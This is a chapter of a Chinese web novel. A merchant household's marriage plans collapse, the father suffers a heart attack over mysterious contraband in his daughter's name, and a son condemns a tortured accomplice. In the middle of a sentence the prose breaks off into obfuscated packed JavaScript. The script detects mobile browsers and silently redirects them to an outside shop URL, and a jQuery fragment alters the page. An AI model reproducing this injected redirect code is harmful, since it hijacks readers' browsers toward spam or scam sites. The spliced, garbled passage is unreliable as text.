林承业坐在书房里,手里捏着几封刚刚送到的回帖,指节因用力而微微发白。午后的窗外,阳光透过雕花窗棂洒进来,本该是温暖惬意的时辰,书房里的空气却凝滞得让人喘不过气。
江南盐商顾家的回帖措辞客气,字里行间却透着疏离:“……犬子顽劣,恐难匹配林小姐淑质,且近日东南多事,商事往来亦需谨慎,联姻之事,容后再议……”
京城世交王侍郎府上的回信更简短,语气也更微妙:“……景明贤侄之意已悉,然令妹情况特殊,骤然议亲恐惹人注目,反为不美。眼下时局动荡,不如静观其变……”
一封,两封,三封。
婉拒,推脱,暗示“时机不对”。
林承业将最后一封回帖重重拍在紫檀木书案上,发出沉闷的响声。他靠在椅背上,闭上眼,只觉得太阳穴突突地跳。林晚琪的婚事,本是他和景明商议好的破局之策——用一个突然“康复”的嫡女,去攀附一门有力的姻亲,为林家在这风雨飘摇之际寻个稳固的靠山。
可如今,这些精明的世家,竟像是约好了似的,齐齐避开了这块看似诱人、实则烫手的“奇货”。他们嗅到了连州方向传来的危险气息,不愿在这个时候与林家绑得太紧。
“痴傻十五年,一朝清明……”林承业低声自语,嘴角扯出一丝苦涩的弧度,“在那些人眼里,这哪里是什么奇迹?分明是最大的疑点。”
一个痴儿突然清醒,举止得体,甚至聪慧懂事——这本身,就足以引来无数探究的目光、背后的非议,乃至恶意的揣测。林家越是急着为她议亲,反而越显得心虚,越坐实了外界的猜疑。
“老爷。”书房门外传来林福的声音,带着迟疑。
林承业睁开眼,努力让声音听起来平稳:“进来。”
推门而入,林福脚步比平日更轻。他走到书案前,垂着手,脸上是欲言又止的神情。
林承业问:“什么事?”
犹豫再三的林福花了点时间鼓起勇气,他低声道:“老爷,连州港的大仓……刚传来消息。”
“说。”
“说……小姐的‘青料’到了。”林福的声音压得更低,几乎是从喉咙里挤出来的。
林承业愣住,强烈怀疑自己年老耳背听错了:“你说谁的‘青料’到了?”
林福抬起头,脸上是同样的困惑与不安,但语气更加肯定:“林二小姐的……‘青料’。大仓的管事亲自验的货,单据上写的清清楚楚,收货人是……林晚琪。”
“混账!”
林承业猛地从椅子上站起来,动作太急,带翻了手边的青瓷茶盏。茶盏摔在地上,发出刺耳的碎裂声,褐色的茶汤泼洒开来,浸湿了昂贵的地毯。
“谁干的?!”他的声音因愤怒而颤抖,脸色瞬间涨红,“谁把‘青料’记在晚琪名下?!这是要干什么?!栽赃?!陷害?!”
“青料”——那是他们对某种特殊瓷器的暗称,往往用来夹带更隐秘的东西,或者作为洗钱的媒介。这种东西,绝不应该与林晚琪这个名字产生任何关联!尤其是在眼下这个节骨眼上!
林福被老爷的暴怒吓得后退半步,连忙道:“小的已经安排人去查了!今晚……今晚便能有结果!定要揪出是哪个吃了熊心豹子胆的,敢在这种时候给林家下绊子!”
“查!给我彻查!”林承业一手撑在书案上,另一只手捂着胸口,呼吸变得粗重起来,“不仅要查是谁干的,还要查这批‘青料’的来路、去向!查清楚这里面到底夹带了什么!是谁在背后指使!”
他越说越激动,额角青筋暴起,脸色由红转白:“本来……本来没人接她的亲事,我已经不知道该怎么向景明交代了……现在……现在又出了这档子事……简直……简直……”
话没说完,一阵剧烈的绞痛从胸口传来,像有一只无形的手狠狠攥住了他的心脏。林承业脸色煞白,身体晃了晃,另一只手死死按住心口,大口喘着气,却觉得空气怎么也吸不进去。
“老爷!老爷!”林福大惊失色,慌忙上前扶住他,“快!快叫大夫!快!”
书房外的仆役听到动静,乱作一团。有人飞奔去请大夫,有人去禀报夫人,有人手忙脚乱地想进来帮忙,却被林福厉声喝止:“都出去!别围在这儿!去个人看看大夫来了没有!”
我正坐在窗边,心不在焉地翻着一本诗集。阳光很好,照在院里的海棠花上,粉白的花瓣在微风中轻轻颤动。可我却觉得心里空落落的,像缺了一块。父亲让我安心待嫁,母亲加紧教我规矩,一切看似按部就班,可那种无形的压力,却像一张越收越紧的网。
就在这时,外面传来一阵急促杂乱的脚步声,还有隐约的惊呼。
“春竹,”我放下书,“去看看外面怎么了。”
春竹应了一声,快步走出去。不一会儿,她脸色发白地跑回来,声音都变了调:“小姐!不好了!老爷……老爷在书房心疾发作,晕过去了!”
我的心猛地一沉,霍地站起身:“什么?!”
“说是……说是被什么事气着了……”春竹语无伦次,“夫人已经赶过去了,大夫也请了……”
我顾不得多想,提起裙摆就往外跑。春竹连忙跟上。
父亲的院子已经乱成一团。仆役们神色慌张地进进出出,大气不敢出。我冲进书房,只见父亲躺在临时铺开的软榻上,双目紧闭,脸色灰败,嘴唇发紫。母亲正站在一旁,脸色同样苍白。
大夫正在给父亲施针,额角渗着细密的汗珠。
“母亲……”我声音发颤,“父亲他……”
林夫人转过头,看了我一眼。那眼神没有一丝温度,甚至带着难以言喻的疏离。
“你先回闺房。”她的声音平静,却不容置疑,“别添乱。”
我愣住了。父亲躺在那里生死未卜,母亲却让我……回去?
“可是……”我想上前看看父亲。
“回去。”母亲打断我,语气加重,目光锐利如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119618|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀,“现在,立刻。”
那眼神里,有一种我从未见过的警告。那不是担心我添乱,而是划清界限。
我僵在原地,看着母亲那张熟悉又陌生的脸,又看看榻上毫无生气的父亲,一股寒意从脚底直窜头顶。
春竹轻轻拉了拉我的袖子,低声道:“小姐……我们先回去吧……”
我最后看了一眼父亲灰败的脸,又看了一眼母亲冰冷的侧影,终于,慢慢转过身,一步一步,走出了书房。
连州城西,一处不起眼的货栈后院。
烛火在密闭的地下室里摇曳,将墙上的人影拉得扭曲变形。空气里弥漫着血腥、汗臭和一种陈年木料腐烂的混合气味。
林景明坐在一张太师椅上,指尖轻轻敲击着扶手。他刚从一场与州府几位官员的宴会上回来,身上还带着淡淡的酒气,但那双眼睛却清醒得可怕,在昏暗的光线下泛着冷光。
一个浑身是血、被麻绳五花大绑的老头瘫在地上,像一滩烂泥。他头发花白,脸上布满污血和青紫,一只眼睛肿得只剩一条缝,嘴角还在往外渗血沫。正是失踪多日的李大昌——曾经的青石村“先生”,后来的李师爷。
林景明手里捏着一封刚从本家加急送来的密信,信纸是特制的薄笺,上面的字迹潦草却清晰。他垂眸看着,眉头几不可察地蹙了一下,随即又舒展开,嘴角甚至勾起一丝极淡的、近乎嘲讽的弧度。
“呵……”他低笑一声,声音在寂静的地下室里格外清晰。
李大昌艰难地抬起头,仅剩的那只眼睛里充满了恐惧和哀求,死死盯着林景明手中的信纸,仿佛那是他最后的救命稻草。
林景明没看他,只是用两根手指夹着信纸,慢条斯理地凑近桌上那盏摇曳的烛火。
信纸的边缘触到火焰,瞬间卷曲、焦黑,火苗贪婪地舔舐着纸张,迅速蔓延开来。
林景明松开了手指。
燃烧的信纸像一只垂死的蝴蝶,飘飘悠悠地坠落,正好落在李大昌面前不到一尺的地方。
李大昌瞪大了那只还能睁开的眼睛,死死盯着那团跳动的火焰,看着信纸在火光中一点点蜷缩、变黑、化为灰烬。他的呼吸变得急促,喉咙里发出嗬嗬的声响,像是被掐住了脖子。
火焰最后挣扎了一下,熄灭了。只剩下一小撮灰黑色的余烬,在冰冷的地面上微微冒着青烟。
“你的死法,就这样吧。”林景明开口了,语气平淡得像是在点评一道菜的味道,带着漫不经心的慵懒。他靠在椅背上,翘起腿,仿佛眼前不是一条垂死的人命,而是一件待处理有些碍眼的杂物。
“林大人……林大人!”李大昌猛地挣扎起来,被捆缚的身体在地上扭动,像一条离水的鱼,“饶命啊!我真的……我真的没有留任何后路啊!青石村的地契,我全都办得干干净净,没有一丝作假!原来那些村民,我都……我都按您的吩咐,送进您家西岭的矿洞里去了!一个都没漏!不会再有别人知道矿洞的事情!我发誓!”